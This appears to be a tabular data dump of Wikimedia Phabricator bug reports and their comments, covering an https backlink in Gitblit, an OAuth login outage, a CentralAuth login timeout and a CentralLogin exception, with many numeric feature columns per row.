+https://git.wikimedia.org/commit/mediawiki%2Fcore/96906d6cd38ba7c1c5af81e05a30105e6a29414f
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: trivial",Low,25.0,1384285260,1453829072.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-fbkubnlicr5uirinxi5s,task_description,declined,True,c2,3,False,False,False,10,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+590221,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,(I thought you meant the auto-linking of like r123 :),,,1452782159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+590220,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point.",,,1452782141,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+590218,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"The configuration says https, weird :\",,,1452782090,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+590193,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"It is not fixed, I still see a http link to www.mediawiki.org on the example above",,,1452776963,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,False,,,124,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+589908,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,Was fixed at some point.,,,1452722405,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,124,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+273724,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"(In reply to comment #1)
+> This is in puppet, easily fixed by anyone.
+
+gitblit.config.erb is the file
+> name is memory serves.
+
+Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.
+
+Or is operations/puppet the wrong repo to search for that file?",,,1391199747,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,False,,,22,True,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+273719,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"This is in puppet, easily fixed by anyone.
+
+gitblit.config.erb is the file name is memory serves.",,,1385146535,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c2,3,True,,,12,True,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+75968,OAuth login isn't working,"As of the last few hours, OAuth login does not appear to be working for any consumers.
+
+I've tested these:
+
+http://quarry.wmflabs.org/
+http://wizard.wikiedu.org
+http://tools.wmflabs.org/oauth-hello-world/",Unbreak Now!,100.0,1416975892,1416988263.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_description,resolved,True,c3,1,False,False,True,-32,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+333363,OAuth login isn't working,Looks fixed to me.,,,1416988263,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+333348,OAuth login isn't working,"Tim confirmed this was due to the fact that the Authorization HTTP header was unavailable to HHVM or Zend in the form of a $_SERVER variable, but Zend appservers were still getting it from apache_request_headers(). The fix is to trick apache in sending that header to the fastcgi server via a SetEnvIf:
+
+https://gerrit.wikimedia.org/r/#/c/175952/
+
+This is being deployed right now. We'll confirm if this is enough and close the ticket in case
+",,,1416986379,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+333340,OAuth login isn't working,"Just a sanity check.  I verified the consumer key matches between phab and MW.  
+
+https://www.mediawiki.org/wiki/Special:OAuthListConsumers/view/211867c109f5b97b392082965a1abd4b
+
+The phab config hasn't changed I don't believe.  Just a sanity check.",,,1416981994,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+333336,OAuth login isn't working,This is currently being debugged in -operations.,,,1416980611,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+333335,OAuth login isn't working," @mmodell, any idea?",,,1416980510,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0
+333330,OAuth login isn't working,"I couldn't login to Phab via mw.org, I got:
+
+```
+Unhandled Exception (""Exception"")
+Expected 'oauth_token' in response!
+```",,,1416976911,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-urpqdvqh25ytjrqpbpjx,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+73223,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"User:NickK reported in IRC that they're getting 504 timeout errors when trying to login to their unattached accounts on 1.24wmf22. On Wikipedias (still on 1.24wmf21), they're able to login fine.
+
+My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to blame.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1411541280,1411573104.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-mio2uq45ny7mms72syut,task_description,resolved,True,c3,1,True,False,True,-41,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+327133,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,Revert has been deployed.,,,1411573104,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+327131,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:
+
+Change 162550 merged by jenkins-bot:
+Revert ""Auto-migrate matching accounts where no global account exists""
+
+https://gerrit.wikimedia.org/r/162550",,,1411572378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0
+327128,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Kunal Mehta (Legoktm) from comment #4)
+> We
+> need to make matchHash aware whether it is meant to be a check only, or
+> actual authentication so it should try updating the password. Otherwise
+> we're just making hundreds of useless write queries.
+
+Interesting. This would bite when running migration scripts as well, so in a way it's good to discover and fix it earlier than that...
+
+Of course login can't afford failing, but allow me to point out that NickK is about the worst case available. I knew of it and I take blame for not mentioning it in code review. That said, the ""winner"" of such a big active account should have been merged at Special:MergeAccount or equivalent several years ago.",,,1411545535,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+327125,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:
+
+Change 162549 merged by jenkins-bot:
+Revert ""Auto-migrate matching accounts where no global account exists""
+
+https://gerrit.wikimedia.org/r/162549",,,1411542640,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0
+327122,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Nemo from comment #1)
+> (In reply to Kunal Mehta (Legoktm) from comment #0)
+> > My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to
+> > blame.
+> 
+> I was wondering yesterday, how does it work when it's not deployed on all
+> wikis at once? Nick has accounts on abut 200 wikis IIRC.
+> (If that was the issue, you'd need to cherry pick the new change to
+> 1.24wmf11.)
+
+The code only needs to be enabled on the wiki the user is logging in from. Which is why logins from Wikipedias work, because that code path doesn't exist yet.
+
+----
+
+I think this code in general is just too slow. I didn't test it with the number of unattached accounts that NickK has :/
+
+The main weird thing I see though is around a hundred log lines like:
+
+> Set global password for 'NickK'
+
+That's from CentralAuthUser::setPassword, which is called in matchHash. We need to make matchHash aware whether it is meant to be a check only, or actual authentication so it should try updating the password. Otherwise we're just making hundreds of useless write queries.",,,1411542485,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+327117,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:
+
+Change 162550 had a related patch set uploaded by Legoktm:
+Revert ""Auto-migrate matching accounts where no global account exists""
+
+https://gerrit.wikimedia.org/r/162550",,,1411541801,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+327111,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:
+
+Change 162549 had a related patch set uploaded by Legoktm:
+Revert ""Auto-migrate matching accounts where no global account exists""
+
+https://gerrit.wikimedia.org/r/162549",,,1411541771,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+327101,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Kunal Mehta (Legoktm) from comment #0)
+> My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to
+> blame.
+
+I was wondering yesterday, how does it work when it's not deployed on all wikis at once? Nick has accounts on abut 200 wikis IIRC.
+(If that was the issue, you'd need to cherry pick the new change to 1.24wmf11.)
+
+And it's still incorrectly not listed in https://www.mediawiki.org/wiki/MediaWiki_1.24/wmf22#CentralAuth",,,1411541512,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+71565,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Upon going to Special:UserLogin on English Wikipedia on Beta Labs (http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin), I got redirected to Special:CentralLogin/complete (with token).  However, it then threw an exception:
+
+---
+Unexpected non-MediaWiki exception encountered, of type ""BadMethodCallException""
+[31c07ff4] /wiki/Special:CentralLogin/complete?token=201d1e72216aa80eef3f599b689e7bdc Exception from line 166 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: Call to a member function getId() on a non-object (boolean)
+Backtrace:
+#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
+#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(357): SpecialCentralLogin->execute(string)
+#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
+#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
+#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
+#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
+#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
+#7 /srv/common-local/w/index.php(3): include(string)
+#8 {main}
+---
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=69834",Unbreak Now!,100.0,1408047540,1409024214.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-rwulpzhftmops4mu6dqt,task_description,resolved,True,c3,1,True,False,True,-46,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+312744,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","I think this is fixed by I2488e1fd3109ce66c2cb42d9afc78097f2b7313d (the change Kunal mentioned).
+
+I think the underlying issue is bug 69834.",,,1409024214,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+312738,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Andre Klapper from comment #9)
+> (In reply to Andre Klapper from comment #8)
+> > Has the Echo team been notified (CC""ing some more folks now)? 
+> > Is there a dedicated bug report about that issue?
+> 
+> Ah, might be bug 69590
+
+That's ""fixed"" (waiting on proper solution, but symptoms should be gone).
+
+Chris S: retest?",,,1408982068,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,1
+312732,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Andre Klapper from comment #8)
+> Has the Echo team been notified (CC""ing some more folks now)? 
+> Is there a dedicated bug report about that issue?
+
+Ah, might be bug 69590",,,1408351601,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,1
+312726,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #7)
+> (In reply to Chris Steipp from comment #6)
+> >     Function: EchoTargetPageMapper::fetchByUserPageId
+> >     Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)
+> 
+> I get this ^^^^ error for every single article page when I'm logged in, with
+> both browsers now. After Echo fixes their issue, I'll keep working on this bug
+
+Has the Echo team been notified (CC""ing some more folks now)? 
+Is there a dedicated bug report about that issue?",,,1408271293,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+312719,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #6)
+> Hmm. Browser specific bug?
+> 
+> I can login with Chrome without any problem. Firefox I don't get this
+> exception, instead I (repeatably) get:
+> 
+>     Function: EchoTargetPageMapper::fetchByUserPageId
+>     Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)
+
+Scratch that. I get this ^^^^ error for every single article page when I'm logged in, with both browsers now. After Echo fixes their issue, I'll keep working on this bug.",,,1408138710,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+312711,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Hmm. Browser specific bug?
+
+I can login with Chrome without any problem. Firefox I don't get this exception, instead I (repeatably) get:
+
+    Function: EchoTargetPageMapper::fetchByUserPageId
+    Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)",,,1408138504,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+312707,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #4)
+> I can login fine there-- I'm assuming this is intermittent?
+
+I tried now ~15 times (bypassing Firefox' browser cache) and it showed the exception every single time.",,,1408136897,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+312702,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Are we running low on session/cache storage (I'm not sure if it's redis or memcached backed in beta)?
+
+I can login fine there-- I'm assuming this is intermittent?",,,1408122044,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+312697,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs",We ran into this on testwiki (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d) which Reedy backported and deployed so now it's throwing a MWException instead of a fatal error. I'm not sure whether it is supposed to be redirecting the user in the first place though...,,,1408119023,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
